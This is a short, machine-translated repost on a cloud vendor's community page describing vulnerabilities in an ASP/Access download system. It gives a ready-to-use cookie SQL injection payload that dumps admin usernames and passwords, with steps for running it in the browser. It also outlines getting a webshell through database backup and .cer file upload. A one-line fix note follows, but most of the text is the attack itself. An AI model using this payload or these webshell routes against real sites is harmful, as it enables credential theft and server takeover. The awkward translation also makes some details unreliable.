Notes on exploits and repairs of asp acc Vulnerabilities

Source: Internet
Author: User

The previous notes are occasionally sent. These vulnerabilities are injection vulnerabilities on download pages and search pages.
1. cookie injection for Download. asp files
Because the system uses a general anti-injection system, this is already a common problem. Only GET is filtered, but POST is not filtered for Cookies. The specific vulnerability is not analyzed. The Code is as follows:
Javascript: alert (document. cookie = "BigClassName =" + escape ("% 25' and 1 = 2 union select 1, admin, 3, password, 5, 6, 7, 8, 9, 10, 11, 12, 13 from admin where 1 = 1 and 'A' = "));
Simply put, access download. asp and enter the above Code in the IE input box to browse. Then, refresh the page to display the account and password.
2. I will not describe the injection of the search. asp file.
In addition, the webshell method obtained in the background is described as follows: (1) Using Database Backup (2) Upload_Photo.asp File Upload cer

Www.2cto.com fix: Filter cookies for injection, complete backup functions, cancel iis resolution such as cer

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.